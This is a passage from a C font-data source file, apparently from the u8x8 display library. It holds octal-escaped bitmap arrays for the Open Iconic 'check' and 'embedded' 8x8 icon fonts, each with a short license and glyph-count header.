\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\360\\360\\370\\370\\370\\374\\374\\374\\376\\376\\376\"\n  \"\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\374\"\n  \"\\370\\360\\340@\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\"\n  \"\\3\\1\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\377\\177\\77\\37\\37\\17\\17\\7\\7\\3\\3\\3\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\376\\377\\177\\77\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\340\\360\\360\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\370\"\n  \"\\360\\340\\300\\200\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200p<\\37\\17\\7\\3\\3\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\17\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_check_8x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 5/5\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_check_8x8[2564] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_check_8x8\") = \n  \"@D\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \">\\34\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\10\\34>\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\370\\374\\376\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\201\\303\\347\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\7\\17\\37\\77\\177\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\1\\3\"\n  \"\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\"\n  \"\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\340\\340\\360\\370\\370\\370\\374\\374\\376\\376\\376\\376\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\376\\374\\374\\370\\370\\370\\360\\340\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\347\\303\\201\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\"\n  \"\\177\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\201\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\360\\300\\0\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\"\n  \"\\0\\0\\1\\3\\3\\1\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\374\\77\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\200\\300\\300\\200\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\3\\17\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\347\\303\\201\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\"\n  \"\\376\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\201\\303\\347\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\37\\37\\37\\77\\77\\177\\177\\177\\177\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\177\\177\\77\\77\\37\\37\\37\\17\\7\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\200\\300\\340\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\376\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\10\\34>\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \">\\34\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\374\\370\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\77\\37\\17\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\10\\34>\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \">\\34\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\77\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\77\\77\\37\\17\\7\\3\\1\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: open_iconic_embedded_8x\n  Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE\n  Glyphs: 17/17\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_open_iconic_embedded_8x8[8708] U8X8_FONT_SECTION(\"u8x8_font_open_iconic_embedded_8x8\") = \n  \"@P\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\376\\376\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\376\\374\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\360\\374\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77\\177\"\n  \"\\177\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\"\n  